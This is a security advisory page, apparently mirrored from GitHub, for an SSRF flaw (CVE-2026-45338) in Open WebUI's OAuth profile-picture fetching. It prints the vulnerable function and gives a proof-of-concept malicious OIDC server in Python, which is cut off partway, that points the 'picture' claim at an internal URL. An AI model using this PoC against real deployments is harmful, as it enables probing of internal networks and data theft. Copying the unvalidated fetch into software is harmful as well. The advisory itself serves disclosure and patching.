Skip to content
Open WebUIGHSA-24c9-2m8q-qhmh

Open WebUI Vulnerable to SSRF via OAuth Profile Picture URL in _process_picture_url (oauth.py)

High7.7CVE-2026-45338 · Published May 14, 2026 · updated Jul 13, 2026

## Summary A Server-Side Request Forgery (SSRF) vulnerability exists in `_process_picture_url()` in `backend/open_webui/utils/oauth.py` (line ~1338). The function fetches arbitrary URLs from OAuth `picture` claims without applying `validate_url()`, allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response. ## Vulnerable Code ```python # backend/open_webui/utils/oauth.py, line ~1337-1345 async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str: # No validate_url() call here async with aiohttp.ClientSession(trust_env=True) as session: async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp: if resp.ok: picture = await resp.read() base64_encoded_picture = base64.b64encode(picture).decode('utf-8') return f'data:{guessed_mime_type};base64,{base64_encoded_picture}' ``` The codebase already uses `validate_url()` for the same SSRF protection pattern in other paths: - `backend/open_webui/utils/files.py:38` - `validate_url(url)` before `requests.get(url)` - `backend/open_webui/routers/images...

GitHub advisory

Affected versions

PackageAffectedFixed in
open-webui
PyPI
< 0.9.00.9.0
Details and references

## Summary A Server-Side Request Forgery (SSRF) vulnerability exists in `_process_picture_url()` in `backend/open_webui/utils/oauth.py` (line ~1338). The function fetches arbitrary URLs from OAuth `picture` claims without applying `validate_url()`, allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response. ## Vulnerable Code ```python # backend/open_webui/utils/oauth.py, line ~1337-1345 async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str: # No validate_url() call here async with aiohttp.ClientSession(trust_env=True) as session: async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp: if resp.ok: picture = await resp.read() base64_encoded_picture = base64.b64encode(picture).decode('utf-8') return f'data:{guessed_mime_type};base64,{base64_encoded_picture}' ``` The codebase already uses `validate_url()` for the same SSRF protection pattern in other paths: - `backend/open_webui/utils/files.py:38` - `validate_url(url)` before `requests.get(url)` - `backend/open_webui/routers/images.py:800` - `validate_url(data)` before `requests.get(data)` The omission in `_process_picture_url()` is inconsistent with the project's own security practices. ## Affected Code Paths 1. **New user OAuth signup** (line ~1556): `picture_url = await self._process_picture_url(picture_url, token.get('access_token'))` 2. **Existing user picture update on login** (line ~1536): when `OAUTH_UPDATE_PICTURE_ON_LOGIN=true` ## Steps to Reproduce ### Prerequisites - Open WebUI instance with generic OIDC OAuth configured - `ENABLE_OAUTH_SIGNUP=true` ### Setup **1. Start a minimal OIDC server** that returns a malicious `picture` claim pointing to an internal canary endpoint: ```python """Minimal OIDC PoC server - save as poc_oidc.py""" from http.server import HTTPServer, BaseHTTPRequestHandler import json, urllib.parse SSRF_TARGET = "http://host.docker.internal:9000/canary" CANARY = "SSRF_CONFIRMED_OPEN_WEBUI" class Handler(BaseHTTPRequestHandler): def do_GET(self): path = urllib.parse.urlparse(self.path).path query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query) if path == "/.well-known/openid-configuration": self._json({"issuer":"http://host.docker.internal:9000", "authorization_endpoint":"http://localhost:9000/authorize", "token_endpoint":"http://host.docker.internal:9000/token", "userinfo_endpoint":"http://host.docker.internal:9000/userinfo", "jwks_uri":"http://host.docker.internal:9000/jwks", "response_types_supported":["code"],"subject_types_supported":["public"], "id_token_signing_alg_values_supported":["RS256"], "token_endpoint_auth_methods_supported":["client_secret_post","client_secret_basic"]}) elif path == "/authorize": ru = query.get("redirect_uri",[""])[0] st = query.get("state",[""])[0] self.send_response(302) self.send_header("Location", f"{ru}?code=poc-code&state={st}") self.end_headers() elif path == "/userinfo": self._json({"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET}) elif path == "/jwks": self._json({"keys":[]}) elif path == "/canary": self.send_response(200) self.send_header("Content-Type","text/plain") body = CANARY.encode() self.send_header("Content-Length",len(body)) self.end_headers() self.wfile.write(body) print(f"!!! CANARY FETCHED - SSRF CONFIRMED !!!") else: self.send_response(404); self.end_headers() def do_POST(self): if "/token" in self.path: self._json({"access_token":"tok","t

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Severity from
GitHub (reviewed advisory)
Weakness
CWE-918
Also known as
CVE-2026-45338, PYSEC-2026-2691

More Open WebUI advisories

All Open WebUI

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.